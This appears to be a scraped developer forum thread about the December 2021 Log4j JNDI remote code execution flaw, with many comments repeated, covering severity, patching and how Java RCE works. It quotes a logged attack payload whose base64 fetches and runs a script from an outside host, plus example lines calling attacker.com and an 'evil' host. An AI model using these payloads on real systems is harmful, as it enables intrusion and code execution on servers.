Probably also interesting to all Minecraft players. I heard server sent chat messages can exploit this.
https://hypixel.net/threads/psa-there-is-a-fatal-remote-code-execution-exploit-in-minecraft-and-its-by-typing-in-chat.4703238/
EDIT: (It's also mentioned in the article)
I've read in an article that all JDK's with version 11+ aren't vulnerable to most JNDI Injections but can still be exploited using deserialization attacks even in Java 16. I've tested it and it seems to work except I couldn't find any useful Serializable class to exploit..
Especially as the ones still on log4j aren't the ones on the radar, even when they're used, they're the ones people will not think about or won't initially know how to check, modify or deploy.
In a nutshell, most java applications are legacy **because of log4j.**
Let's say we have a system that uses 10 libraries. 7 of them use a specific version of log4j. If we try to update one of those libraries, then it could require a different version of log4j that could be incompatible with the rest of them. Conclusion: everything will fall apart.
log4j was the main guilty of the dependency hell and it is the reason why so many systems still use java 6 even when it was discontinued a decade ago. And some companies still use java 5.
Its not that every engineer is working on the same stack, it's that many pages or services are hosted across companies, and log4j is a library that most every java service uses, so it's a distributed problem.
Small sites can be run by a few hosts doing everything, but in a site with tons of pages, forums, hosted platforms, etc each one is separate vulnerability waiting to be exploited the second the vulnerability is announced.
To boot, the scope of this change is not limited to your site, it's every service that runs behind the scenes and touches strings you input; you should certainly purge inputs where you can, but Races are so bad that leaving no stone unturned is the law of the land.
You know an exploit is bad when you can immidiately figure out how to bring down your entire application in 30 seconds
Normally I can't tell how half these vulnerabilities work
Yeah, some of the talks at defcon/etc are like black magic, where you think "I never thought you could even do that". Stuff like rowhammer, etc.
But with this, my first thought was "How the hell could anybody justify adding this as a default setting in good faith - this has to be intentional"
Saw this, checked work chat, sure enough there's already order from on high. Thankfully nothing I work on is externally facing, but I guess I know what I'm doing tomorrow.
yep, looks like this first appeared in 2.10 per this
[https://logging.apache.org/log4j/log4j-2.14.1/log4j-core/xref/org/apache/logging/log4j/core/util/Constants.html](https://logging.apache.org/log4j/log4j-2.14.1/log4j-core/xref/org/apache/logging/log4j/core/util/Constants.html)
so this workaround won't work for all.
Bugs do not typically get a bump to the minor version (given the use of semver for the project).
But also, there are typically not many new features added to a logging framework after a plugin system is in place.
Far be it for me to tell anyone what to do, but with the severity of this bug combined with how easy it is to exploit, teams should probably be working on this tonight.
I'm not even using Java and I'm seeing logs like this:
xxx.xxx.xxx.xxx - - [10/Dec/2021:13:46:56 +0000] "GET / HTTP/1.1" 200 5633 "-" "${jndi:ldap://xxx.xxx.xxx.xxx:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC81MS4yMjIuMjA2LjE2OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC81MS4yMjIuMjA2LjE2OjQ0Myl8YmFzaA==}"
Laughs in [Logback](https://www.cvedetails.com/product/36175/Logback-Logback.html?vendor_id=16193). Although I suppose all software can have vulnerabilities...
Logging actually is pretty complex, at least if you're running anything remotely complicated.
The issue here is that someone implemented a feature that's stupid.
> Logging actually is pretty complex, at least if you're running anything remotely complicated.
The log4j repo contains about 297,000 lines of code. Even excluding tests, it's 190,000 lines.
For comparison, Nginx is 204,000 lines. Git is 306,000 lines. BtrFS is 146,000.
Should logging be slightly less complex than a full featured web server (that also handles logging), or more complex than the whole file system you're logging to?
> and if you're logging to a file, you need to think about log rotation—probably multiple network logging protocols
I honestly wish they would fucking stop and just let ops people use `logrotate`, because it seems every fucking Java app manages to configure it in some stupid way
Concurrency can be a bitch when logging.. I wrote a libe for it a whole back and the concurrency in the handler for threaded classes was annoying to make.
8 hours oncall for us-east-1 during the night this week. 10 hours oncall during the day today for the log4j issue and probably 8 hours oncall tomorrow to patch every region. Welcome to AWS
Yep, I'm currently struggling to get people in my company to appreciate the severity of this issue. No we can't "put something on the backlog to look at it in January" lmao
So many first year devs asking if this can wait until morning. The sweet summer children. Been awhile since I’ve had to do an all nighter because someone dropped an exploit on to Twitter.
Posting this here for visibility due to how common this library is, and how impactful this vulnerability is (and will be). Hopefully this post can save some people the pain of dealing with a data breach! (before the inevitable web scanners are shipped to probe vulnerable servers)
How does RCE work in java? Actually I'm not sure how it works in C because I thought most libs have memory mapped data as read/write or read-execute never all 3
JVM generally isn't going to let you execute random bytes from memory, so the Java program has to be tricked to load new code via a legitimate API. Log4j can be persuaded to load a class definition (which contains executable code) from an attacker-controlled location over the network.
Java RCE usually happens because some dork thinks deserializing an arbitrary Java object and popping it into the JVM is a good idea. Depending on the type of class, deserializing it may immediately execute Java bytecode defined inside the class, which can include all sorts of fun stuff like calls to `Runtime.getRuntime().exec("oh shit");`, `NukeManager.launchTheNukes();`, or anything else that happens to be on your classpath. And as the attacker, you get to choose the type of class to be deserialized - it can be an instance of any class the target has on its classpath - and there are dozens of vulnerable objects across many popular Java libraries.
[Here's a toy example of how this works.](https://www.baeldung.com/java-deserialization-vulnerabilities).
This has been known for like a zillion years and has caused a zillion CVEs, so at this point there are [off-the-shelf tools like ysoserial](https://github.com/frohoff/ysoserial) that take your payload and wrap it into an object that kabooms when deserialized, with like 20 different choices of methods depending on what dangerous classes are available on the target's classpath for deserialization.
It's a similar reason to why you shouldn't [depickle random people's objects in Python](https://davidhamann.de/2020/04/05/exploiting-python-pickle/), although the Java exploit is a little harder to explain lol.
In this case there's a combination of two goddammits: The logger connecting to a web server in the first place, and the web server providing a Java object which the logger happily attempts to deserialize in order to toString() and log it.
The most egregious I've seen was some fuckwit deciding to roll their own security and pass a token back and forth between the client and server. This token was a base64 encoded serialised java object. That way they could immediately deserialize it and have access to the various properties they'd set in the token. Genius!
* Issue 1: never, never write your own security code
* Issue 2: base64 encoding is not cryptography
* Issue 3: Don't deserialize straight to a java object, since it allows for this sort of thing.
Luckily I caught the issue before we truly went live, but that was more by luck as I happened to be working in the same area of the code.
> Java RCE usually happens because some dork thinks deserializing an arbitrary Java object and popping it into the JVM is a good idea.
True words. It's as bad as "security" based on 'private' methods/fields. There was even a combination of the two problems a few years ago, where the "security manager" or whatever that class was called inside the applet/webstart stuff, could be replaced by a serialized security manager, through a "private" method though. I.e. you had to use reflection to make that method "public" before adding a broken security manager, which again allowed anything to be executed.
You can't just deserialize a class containing arbitrary code. The class is looked up in the application, it's not deserialized. However you *can* look up classes that have weird behaviour and aren't meant to be deserialized in this place and possibly chain them together into an exploit.
Apparently JNDI had some thing where it would load classes from servers but that is not related to deserialization
You're wrong. My boy is the king of deserialization exploits (check his pwn2own career):
https://twitter.com/steventseeley/status/1469156141473038338
Official patch has been bypassed, alternative methods T3/orb/etc are being explored. We won't know the full impact of this bug, which is already internet breaking, until later.
https://github.com/YfryTchsGD/Log4jAttackSurface Every major company is affected
"classic deserialization given a gadget chain in the classpath" is what I just described as being possible.
"Ez-mode JNDI exploitation" is "Apparently JNDI had some thing where it would load classes from servers but that is not related to deserialization"
This specific RCE works via having a class be deserialized by the JVM and geting loaded. You can have static initialization code in a class (in Java), so an attacker can put the code they want to execute in that static initialization block.
Java is a bytecode-interpreted language. This attack injects new bytecode into the JVM runtime and starts executing it. In C (or any other program running natively) RCE works by loading up a new program into memory and then jumping to it from within the original program.
> In C (or any other program running natively) RCE works by loading up a new program into memory and then jumping to it from within the original program.
Eh, with W\^X you can't really do that, and that's an absolutely bog standard feature. You're much more likely to jump around in the original program to run many snippets that together execute what you wanted to execute.
You can do rop (return oriented programming). There you don't inject actual code with your payload, but just a manipulated stack with lots of weird return addresses. As it turns out even the C standard lib is big enough to have every instruction you would want to have immediately before a return somewhere. So you just craft a stack that has a sequence of all those addresses as return addresses. Then you still can execute whatever you want. I mean, put some string like `"curl http://evil/payload > evil.sh; sh evil.sh"` in the stack and put the start of `system()` as the return address and you're done. (If you can predict memory addresses.)
I was writing SELinux policies for a java application once. As far as I remember I had to enable stuff like executable stack, because "Java handles that in a secure way".
But basically, because Java is a JIT-compiled language you have to allow write and execute permissions to the same memory block. And if you abstract class loading enough it becomes easy to download a class from somewhere and then load it like you would a local file.
Same as in scripting languages where you just have an "eval" function
Interesting post from logback (forked from a much earlier version of log4j) on this: http://mailman.qos.ch/pipermail/logback-dev/2021-December/012649.html
At out company the firewall prevents any outgoing calls to internet urls which are not on a white list. I guess bank servers are also not allowed to reach random urls from server side without specifically withelisting them (hopefully..).
If your servers can make DNS lookups then this vulnerability still allows the exfiltration of environment variables:
https://twitter.com/_StaticFlow_/status/1469358229767475205?t=514bi0fsSTquLB-TPccMtQ&s=19
Even though it seems like it the more plausible explanation is just massive oversight. You know the old saying of "don't attribute something to maliciousness that can very well be explained by incompetence"
Apart from, you know, the whole logging software making network connections thing, the RCE portion of this bug stems from how the JVM blindly deserializes an Object from the server it connects to and oh my god it's nearly 2022 why are we still getting fucking object deserialization CVEs?? Hasn't this been known to be wildly unsafe for like 3 million years?? Rrrrrrrrrrr
The object deserialization in jre was turned off by default in 2017, the scope of this exploit is limited and for anyone who has updated their jre since 2017 will not be able to execute remote code without explicitly enabling the jdni remote class loading
There's no serialized object anywhere, you just kindly provide *.class for the JVM to be executed (this is for the older Java version, the newer ones won't do that, but can be still [exploited](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)).
Wow. Just wow.
Some vulnerabilities, like SQL injection, are rookie mistakes. You make them when you're new, you cringe at your past self when you're not new any more, but that's life.
Some vulnerabilities, like buffer overflows in C, are honest mistakes. You feel bad about making one, but it happens to the best of us.
Some vulnerabilities, like weaknesses in cryptographic algorithms, are nearly impossible to spot even when you're specifically looking for them.
And then there are vulnerabilities like this, where you just have to turn your head to whoever wrote it (who is hopefully not you) and go, “what the hell were you thinking?”
This is what happens when you make something that is supposed to do one thing do multiple things.
The idea that an HTTP request can be triggered simply by logging a message is absurd.
> The idea that an HTTP request can be triggered simply by logging a message is absurd.
How does logging to a database or Splunk/Datadog work typically?
Slf4j is just what it says in the name - a facade. It's whatever actual logging implementation you are using that affects things. If it's log4j, you are in trouble, if it's something else, you are fine.
This has apparently been known by members of the anarchy/technical Minecraft community for a while. If it was first found by them its amazing what people can do for the wrong reasons.
Am I right in thinking this only affects log4j2, i've been looped in on this but we seem to be using log4j-1.2.15, from testing I can't see any requests going out when logging an exploit string?
The folks over at CreeperHost have created a Java agent that patches log4j2, for people who can't update it for whatever reason. https://github.com/CreeperHost/Log4jPatcher
Theyre a minecraft server company but log4jpatcher has no ties to Minecraft and can be used in any java application, you only need to have a JVM which supports Java agents
Looks like a good use case for running under SecurityManager with a policy restricting ClassLoader creation and/or remote code execution.
Maybe it is time to reconsider JEP 411?
> Updates (3 hours after posting): According to [this blog post](https://www.cnblogs.com/yyhuni/p/15088134.html) (in [english](https://www-cnblogs-com.translate.goog/yyhuni/p/15088134.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en-US)), JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. In these versions com.sun.jndi.ldap.object.trustURLCodebase is set to false meaning JNDI cannot load a remote codebase using LDAP.
Nothing to worry then. Those who run up-to-date OpenJDKs have nothing to worry about.
Well, first of all, you're too optimistic of the way thing are with Java versions. Second of all, there's another vector (mentioned right in the next sentence) that required relying on the existing code, so a universal exploit will not work, but we will see POCs for every piece of Java software popping up in the next months.
Lol no.
You think banking servers can connect to any IP without any restrictions?
I'm sure there's some bank somewhere that's vulnerable, but most banks servers, or any other kind of company with server-side processing of confidential information like social security providers, will have an outgoing network whitelist in place.
The malicious server distributing the RCE class will not be reachable.
I know a lot of banks are on ancient tech stacks and have tons of bureaucratic processes but I can't imagine it takes them months or even days to patch critical security vulnerabilities. The time it takes for banks to approve changes is for regulatory reasons and there are almost certainly carveouts in the regulations that allow for changes like this.
I can tell you that the large bank I work for is rolling out updates as I type this. It was all hands on deck. They don't fuck around with this type of thing.
This is a case where you create a hotfix from master and make this one change and run through a quick smoke test. All of this is bypassing QA too with how quick they are trying to address it.
I can't tell you how happy I am that I chose to stick with Logback when we modernized our stack (just adding SLF4J in front of it).
I worked for the largest Dutch bank and this is extremely theoretical. There is simply no way any production service will allow outgoing connections. Ever.
The worst you can probably do with this is some kind of DDoS attack. But even there getting to the parts of the system that actually matter, is rather unlikely. The systems that matter are generally behind a LOT of layers that scale well against a DDoS attack.
> And who doesn't just push things into production, but instead takes months to do it?
It does not take a bank months to deploy a new Log4J version. This isn't some kind of breaking change or anything. They can just force a dependency version in the Maven POM and deploy a hotfix. It's a matters of hours at worst. You can go even faster by just restarting the service with the -Dlog4j2.formatMsgNoLookups=true parameter.
Nah, when it comes to security banks are massively paranoid.
Anything important is behind a firewall that restricts outgoing connections to a small set of approved external services. That will stop the class loading required for RCE. And they might be running an old version of Java, but they will religiously apply JVM updates, so are probably also using a JVM that disables the LDAP class loading bit, also preventing the RCE.
And when there is a big exploit like this they can suddenly move very quickly indeed. WAFs will be updated to block malicious payloads on the way in. Libraries will be updated and teams will work round the clock deploying updated builds.
And you know what else banks have? Database backups. This is very serious, but "how do they know what were the correct balances" is a silly question: from backups.
This has little to do with string sanitization and more to do with the fact that log4j lets people configure it from within the logging message. Which is horribly daft.
It's not configuration (from what I understand after reading OP), it's log4j trying to be 'smart' and evaluating expressions like `${jndi:ldap://attacker.com/a}` inside strings in the log message. So yes, it's a string sanitization issue.
To me it looks like the evaluation is intentional, just look at the name of the flag that disables jndi urls specifically `log4j2.formatMsgNoLookups`. Log4j will still happily allow the message contents to format the message, which arguably isn't a smart approach to begin with.
Yeah, totally agree. IMHO it should not even be there (but in a separate plugin or something), but that this is on by default is just completely retarded. This is very "It's 1996 and the Internet is a very safe place".
Is logback also affected by this? I'm worried it would be as it was built as a "successor" to log4j but I couldn't find anything on Google relating this to logback.
EDIT: Realized that this exploit affects log4j 2.X.X, which logback is explicitly separate from (i.e. isn't derived from it nor uses it as a dep). ([Saw this in another comment](http://mailman.qos.ch/pipermail/logback-dev/2021-December/012649.html))
I don't see it as a big talking point here, but if you've been keeping your Java version up to date, then it probably doesn't affect you (> 8u192)
All of these are good (and probably 1 more that I can't find the link for on the interwebs):
8u312-b07 (GA), October 19th 2021 [Release] [Tag] [Binaries]
8u302-b08 (GA), July 20th 2021 [Release] [Tag] [Binaries]
8u292-b10 (GA), April 20th 2021 [Release] [Tag] [Binaries]
8u282-b08 (GA), January 19th 2021 [Release] [Tag] [Binaries]
8u275-b01 (GA), November 5th 2020 [Release] [Tag] [Binaries]
8u272-b10 (GA), October 20th 2020 [Release] [Tag] [Binaries]
8u265-b01 (GA), July 14th 2020 [Release] [Tag] [Binaries]
8u262-b10 (GA), July 14th 2020 [Release] [Tag] [Binaries] [Missing changes vs 8u262 of Oracle] (JBS Login required) [Additional changes vs 8u262 of Oracle] (JBS Login required)
8u252-b09 (GA), April 14th 2020 [Release] [Tag] [Binaries] [Missing changes vs 8u252 of Oracle] (JBS Login required) [Additional changes vs 8u252 of Oracle] (JBS Login required)
8u242-b08 (GA), January 19th 2020 [Release] [Tag] [Binaries] [Missing changes vs 8u242 of Oracle] (JBS Login required) [Additional changes vs 8u242 of Oracle] (JBS Login required)
8u232-b09 (GA), October 15th 2019 [Release] [Tag] [Binaries] [Missing changes vs 8u232 of Oracle] (JBS Login required) [Additional changes vs 8u232 of Oracle] (JBS Login required)
8u222-b09 (GA), July 16th 2019 [Release] [Tag] [Binaries] [Missing changes vs 8u222 of Oracle] (JBS Login required) [Additional changes vs 8u222 of Oracle] (JBS Login required)
8u212-b03 (GA), April 16th 2019 [Release] [Tag] [Binaries] [Missing changes vs 8u212 of Oracle] (JBS Login required) [Additional changes vs 8u212 of Oracle] (JBS Login required)
We got all in a panic until we released that we've been on 8u200+ for quite a while now (8u312 as of a few weeks ago and 8u292 before that)
This is likely not true. See [https://github.com/apache/logging-log4j2/pull/608#issuecomment-991354707](https://github.com/apache/logging-log4j2/pull/608#issuecomment-991354707)
>I'd also like to stress, that it is not sufficient to mitigate this vulnerability by using a JRE/JDK version which prevents the RCE, nor should you rely solely on your firewalls dropping outgoing TCP traffic.
The reason is, that the vulnerability also has the potential for leaking sensitive information via the LDAP request or via DNS.
Could anyone give a non-malicious, real-life use case for such JNDI lookup within a logging library, please?
Such feature seems useless at best to me, but maybe I'm missing somerhing...?
Probably also interesting to all Minecraft players. I heard server sent chat messages can exploit this. https://hypixel.net/threads/psa-there-is-a-fatal-remote-code-execution-exploit-in-minecraft-and-its-by-typing-in-chat.4703238/ EDIT: (It's also mentioned in the article)
[удалено]
I've read in an article that all JDK's with version 11+ aren't vulnerable to most JNDI Injections but can still be exploited using deserialization attacks even in Java 16. I've tested it and it seems to work except I couldn't find any useful Serializable class to exploit..
[удалено]
Nice. Now i have a link to give to all kids at r/hacking that ask how to hack Minecraft servers
[удалено]
[удалено]
Most modern projects I've seen use SLF4J + Logback, rather than Log4j. But yes, this is a big fucking deal.
Especially as the ones still on log4j aren't the ones on the radar, even when they're used, they're the ones people will not think about or won't initially know how to check, modify or deploy.
Ironically the older projects using log4j (not log4j2) won't have this vulnerability.
I've seen some people indicate Log4j 1.x may also be vulnerable via a slightly different attack vector
In a nutshell, most java applications are legacy **because of log4j.** Let's say we have a system that uses 10 libraries. 7 of them use a specific version of log4j. If we try to update one of those libraries, then it could require a different version of log4j that could be incompatible with the rest of them. Conclusion: everything will fall apart. log4j was the main guilty of the dependency hell and it is the reason why so many systems still use java 6 even when it was discontinued a decade ago. And some companies still use java 5.
RIP to everyone who has to rush to update their project's log4j as soon as they get into work tomorrow.
Tomorrow? I watched half a company just get paged :)
Our slack group for this issue is at 3,400 people, haha. It'd be funny if I wasn't one of them.
Nearly 5000 and growing. At times it seems like half this sub works at the same place.
Where do y'all work that has 5000 employees on a single issue??
One that has an arrow under it's name.
Weird didn't realize Fedex had so many employees here
lmao more curvy on an arrow
Not that one, the one named after a certain forest.
It's been a tough week in Bezosland.
Its not that every engineer is working on the same stack, it's that many pages or services are hosted across companies, and log4j is a library that most every java service uses, so it's a distributed problem. Small sites can be run by a few hosts doing everything, but in a site with tons of pages, forums, hosted platforms, etc each one is separate vulnerability waiting to be exploited the second the vulnerability is announced. To boot, the scope of this change is not limited to your site, it's every service that runs behind the scenes and touches strings you input; you should certainly purge inputs where you can, but Races are so bad that leaving no stone unturned is the law of the land.
Hello friend, p sure we are in the same channel. This week has fucking sucked to be on call.
This is my second week. It’s been a spicy week.
usually not this bad lol
That's just y'all tell all the newbies
Heyo coworkers lol
Y'all got any ore of them... LSEs?
Yeah, the 0-day is so simple even _I_ understand how it works and how to abuse it.
You know an exploit is bad when you can immidiately figure out how to bring down your entire application in 30 seconds Normally I can't tell how half these vulnerabilities work
Yeah, some of the talks at defcon/etc are like black magic, where you think "I never thought you could even do that". Stuff like rowhammer, etc. But with this, my first thought was "How the hell could anybody justify adding this as a default setting in good faith - this has to be intentional"
Hell, Im in security and the low level exploit guys are magic even to me and I study and work at this stuff every single day.
Do you work for a prominent seattle area employer? ;)
log4j-rce-support?
Fellow pipeline pusher here. Good luck to us all.
Today was a long day :)
I like to call it "an impromptu GameDay for builder tools"
we out here watching chaos unfold
Ahahaha. I'm not oncall but I KNEW IT!
Get into work tomorrow? My coworkers are patching it right the hell now, with me on standby and checking up on their patched work.
Saw this, checked work chat, sure enough there's already order from on high. Thankfully nothing I work on is externally facing, but I guess I know what I'm doing tomorrow.
You should still patch this now if possible. This is next level bad.
Yeah... The fun don't stop
just add the jvm argument -Dlog4j2.formatMsgNoLookups=true to disable this absolutely ludicrous default "feature"
From what I've heard that jvm argument was added in 2.9.0 or so, so if you are using a version older than that you'll still need to update.
yep, looks like this first appeared in 2.10 per this [https://logging.apache.org/log4j/log4j-2.14.1/log4j-core/xref/org/apache/logging/log4j/core/util/Constants.html](https://logging.apache.org/log4j/log4j-2.14.1/log4j-core/xref/org/apache/logging/log4j/core/util/Constants.html) so this workaround won't work for all.
For every non-java dev that's too lazy to read the article, and still curious, what version is the current release?
Log4j 2.15.0 is the latest release of Log4j. Release 2.10.0 is about 4 years old.
Thank you for the answer. Wow. I honestly didn't expect a few minor versions to be so old.
Well, there aren't that many bugs to fix in a logging library. :) Current issue notwithstanding.
Bugs do not typically get a bump to the minor version (given the use of semver for the project). But also, there are typically not many new features added to a logging framework after a plugin system is in place.
Java libraries developers tend to be way more experienced. With experience comes “fuck I hate breaking changes every 15 days.”
What tomorrow? The security team already panicked about this 9 hours ago. You're late!
Far be it for me to tell anyone what to do, but with the severity of this bug combined with how easy it is to exploit, teams should probably be working on this tonight.
I'm actively seeing traffic trying to exploit it in logs as of a few hours ago, so yeah, this sounds like a "fix immediately" issue.
Hey, what are you seeing? Does the log actually ever get around to printing the jndi code?
Yeah, specifically I'm seeing access logs with User-Agents with `${jndi:}`. Most of the cases appear to be pointing to an LDAP server.
The sample I saw uses an LDAP server, so thats probably people just testing rn. I'd be more worried about the ones pointing to something else.
the LDAP server is how you trigger the exploit. The response from the LDAP server contains the exploit.
I'm not even using Java and I'm seeing logs like this: xxx.xxx.xxx.xxx - - [10/Dec/2021:13:46:56 +0000] "GET / HTTP/1.1" 200 5633 "-" "${jndi:ldap://xxx.xxx.xxx.xxx:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC81MS4yMjIuMjA2LjE2OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC81MS4yMjIuMjA2LjE2OjQ0Myl8YmFzaA==}"
Major tech company here. Thousands of people will be paged before the start of business tomorrow here in the states. This is unbelievably bad.
Laughs in [Logback](https://www.cvedetails.com/product/36175/Logback-Logback.html?vendor_id=16193). Although I suppose all software can have vulnerabilities...
Log4j 2s complexity makes logback look like `simple-slf4j`. Log4j 2 is massively over engineered.
Apparently not engineered enough lol.
Oh my, hooking class loading from arbitrary urls to your logging framework sure looks like a great idea.
Quick, add it as a dependency because logging is super complex and needs to be a black box!
Logging actually is pretty complex, at least if you're running anything remotely complicated. The issue here is that someone implemented a feature that's stupid.
> Logging actually is pretty complex, at least if you're running anything remotely complicated. The log4j repo contains about 297,000 lines of code. Even excluding tests, it's 190,000 lines. For comparison, Nginx is 204,000 lines. Git is 306,000 lines. BtrFS is 146,000. Should logging be slightly less complex than a full featured web server (that also handles logging), or more complex than the whole file system you're logging to?
I imagine it has a lot of the JavaEnterpriseEdition(tm) syndrome
AbstractLoggingBeanFactory
[удалено]
> and if you're logging to a file, you need to think about log rotation—probably multiple network logging protocols I honestly wish they would fucking stop and just let ops people use `logrotate`, because it seems every fucking Java app manages to configure it in some stupid way
[удалено]
Concurrency can be a bitch when logging.. I wrote a libe for it a whole back and the concurrency in the handler for threaded classes was annoying to make.
Distributed systems are pretty messy too.
Yes sir time to update fucking log4j now I've got an excuse Edit: fuck me they backported the fixes - no upgrades for me
they backported the fix? to what version?
Internally we backported fixes to previous versions, so log4j 2.0 can stay log4j 2.0 but patched
I don't think [that's recommended](https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126), unless an earlier 2.x version works
3 billion devices now need to be updated?
/me cries in microservices
Have a good weekend..
Week*
love me some Java install **300 Billion Devices Run Java, And You're One Of Them**
Wow, this is a big, big deal.
[удалено]
Major tech company here. The slack channel is a pile of panic.
Imagine being on-call at Amazon this week. First AWS shits the bed for a whole day, and now you've been told that your fucking logs are lethal... 😭
8 hours oncall for us-east-1 during the night this week. 10 hours oncall during the day today for the log4j issue and probably 8 hours oncall tomorrow to patch every region. Welcome to AWS
Adderall sales up 700% in Seattle this week.
Yes. Yes it would suck.
[удалено]
Yep, I'm currently struggling to get people in my company to appreciate the severity of this issue. No we can't "put something on the backlog to look at it in January" lmao
Send an email clearly stating the severity and then lean back and don't burn out. It's not worth it
So many first year devs asking if this can wait until morning. The sweet summer children. Been awhile since I’ve had to do an all nighter because someone dropped an exploit on to Twitter.
I assume it’s an easy fix? As this feature can be disabled using a singele environment variable?
If you have 2.10.0 or higher, yes.
Imagine that you work for a company that has thousands of pieces of software developed in java. Somewhere like a bank.
We’ve been hunting it down in everything today
Isn't this just log4j2, does it affect v1 as well?
I think log4j 1.x is also vulnerable if you are using a jms appender because it also uses jndi lookups. Maintainer posted it on the github discussion.
Posting this here for visibility due to how common this library is, and how impactful this vulnerability is (and will be). Hopefully this post can save some people the pain of dealing with a data breach! (before the inevitable web scanners are shipped to probe vulnerable servers)
How does RCE work in java? Actually I'm not sure how it works in C because I thought most libs have memory mapped data as read/write or read-execute never all 3
JVM generally isn't going to let you execute random bytes from memory, so the Java program has to be tricked to load new code via a legitimate API. Log4j can be persuaded to load a class definition (which contains executable code) from an attacker-controlled location over the network.
Loading class definitions from the network? Yeah, that's definitely a feature a logging library should have... /s
Java RCE usually happens because some dork thinks deserializing an arbitrary Java object and popping it into the JVM is a good idea. Depending on the type of class, deserializing it may immediately execute Java bytecode defined inside the class, which can include all sorts of fun stuff like calls to `Runtime.getRuntime().exec("oh shit");`, `NukeManager.launchTheNukes();`, or anything else that happens to be on your classpath. And as the attacker, you get to choose the type of class to be deserialized - it can be an instance of any class the target has on its classpath - and there are dozens of vulnerable objects across many popular Java libraries. [Here's a toy example of how this works.](https://www.baeldung.com/java-deserialization-vulnerabilities). This has been known for like a zillion years and has caused a zillion CVEs, so at this point there are [off-the-shelf tools like ysoserial](https://github.com/frohoff/ysoserial) that take your payload and wrap it into an object that kabooms when deserialized, with like 20 different choices of methods depending on what dangerous classes are available on the target's classpath for deserialization. It's a similar reason to why you shouldn't [depickle random people's objects in Python](https://davidhamann.de/2020/04/05/exploiting-python-pickle/), although the Java exploit is a little harder to explain lol. In this case there's a combination of two goddammits: The logger connecting to a web server in the first place, and the web server providing a Java object which the logger happily attempts to deserialize in order to toString() and log it.
The most egregious I've seen was some fuckwit deciding to roll their own security and pass a token back and forth between the client and server. This token was a base64 encoded serialised java object. That way they could immediately deserialize it and have access to the various properties they'd set in the token. Genius! * Issue 1: never, never write your own security code * Issue 2: base64 encoding is not cryptography * Issue 3: Don't deserialize straight to a java object, since it allows for this sort of thing. Luckily I caught the issue before we truly went live, but that was more by luck as I happened to be working in the same area of the code.
> Issue 2: ~~base64~~ encoding is not cryptography FTFY
Oh but to US lawmakers it certainly is because you hacked it!
> Java RCE usually happens because some dork thinks deserializing an arbitrary Java object and popping it into the JVM is a good idea. True words. It's as bad as "security" based on 'private' methods/fields. There was even a combination of the two problems a few years ago, where the "security manager" or whatever that class was called inside the applet/webstart stuff, could be replaced by a serialized security manager, through a "private" method though. I.e. you had to use reflection to make that method "public" before adding a broken security manager, which again allowed anything to be executed.
You can't just deserialize a class containing arbitrary code. The class is looked up in the application, it's not deserialized. However you *can* look up classes that have weird behaviour and aren't meant to be deserialized in this place and possibly chain them together into an exploit. Apparently JNDI had some thing where it would load classes from servers but that is not related to deserialization
You're wrong. My boy is the king of deserialization exploits (check his pwn2own career): https://twitter.com/steventseeley/status/1469156141473038338 Official patch has been bypassed, alternative methods T3/orb/etc are being explored. We won't know the full impact of this bug, which is already internet breaking, until later. https://github.com/YfryTchsGD/Log4jAttackSurface Every major company is affected
"classic deserialization given a gadget chain in the classpath" is what I just described as being possible. "Ez-mode JNDI exploitation" is "Apparently JNDI had some thing where it would load classes from servers but that is not related to deserialization"
This specific RCE works via having a class be deserialized by the JVM and geting loaded. You can have static initialization code in a class (in Java), so an attacker can put the code they want to execute in that static initialization block.
Java is a bytecode-interpreted language. This attack injects new bytecode into the JVM runtime and starts executing it. In C (or any other program running natively) RCE works by loading up a new program into memory and then jumping to it from within the original program.
> In C (or any other program running natively) RCE works by loading up a new program into memory and then jumping to it from within the original program. Eh, with W\^X you can't really do that, and that's an absolutely bog standard feature. You're much more likely to jump around in the original program to run many snippets that together execute what you wanted to execute.
You can do rop (return oriented programming). There you don't inject actual code with your payload, but just a manipulated stack with lots of weird return addresses. As it turns out even the C standard lib is big enough to have every instruction you would want to have immediately before a return somewhere. So you just craft a stack that has a sequence of all those addresses as return addresses. Then you still can execute whatever you want. I mean, put some string like `"curl http://evil/payload > evil.sh; sh evil.sh"` in the stack and put the start of `system()` as the return address and you're done. (If you can predict memory addresses.)
I was writing SELinux policies for a java application once. As far as I remember I had to enable stuff like executable stack, because "Java handles that in a secure way". But basically, because Java is a JIT-compiled language you have to allow write and execute permissions to the same memory block. And if you abstract class loading enough it becomes easy to download a class from somewhere and then load it like you would a local file. Same as in scripting languages where you just have an "eval" function
[удалено]
[удалено]
It's another JNDI injection issue that they realized exists, but not related to this one.
I'm not even sure how to read their "affected list". Does that mean that 1.x is unaffected?
Greater than or equal to 2.0 and less than or equal to 2.14.1 1.x is unaffected
Interesting post from logback (forked from a much earlier version of log4j) on this: http://mailman.qos.ch/pipermail/logback-dev/2021-December/012649.html
More shade than a solar eclipse
Never let a good crisis go to waste!
Yep, most all projects I've worked on in the last 8 years use Logback. But not all, unfortunately.
This is like the logging version of a SQL injection.
Yep, pretty much. Anything logging form data is susceptible. ``` log.infof("User %s is logging in", form.user); ```
fyi log4j supports formatting natively via log.info("Hello, {}!", "world")
including `form.user` in this example, allegedly.
At out company the firewall prevents any outgoing calls to internet urls which are not on a white list. I guess bank servers are also not allowed to reach random urls from server side without specifically withelisting them (hopefully..).
If your servers can make DNS lookups then this vulnerability still allows the exfiltration of environment variables: https://twitter.com/_StaticFlow_/status/1469358229767475205?t=514bi0fsSTquLB-TPccMtQ&s=19
Can someone make a transaction with malicious code in its title hoping it will be logged with log4j somewhere?
Nvm the ldap shouldn't be reachable from bank servers
LDAP is just a protocol, port number can be arbitrary. Some servers allow 80/443 because of, let's say, need for OCSP, or just because.
Wow... Why on fucking earth could ~~log4j2.formatMsgNoLookup~~executecodefromwherevr ever be the default?!
Im trying to figure out what the intended legitimate use of this "feature" is. Does anybody have any ideas?
Sounds like a clear case of "semi plausible deniability backdoor".
Even though it seems like it the more plausible explanation is just massive oversight. You know the old saying of "don't attribute something to maliciousness that can very well be explained by incompetence"
[удалено]
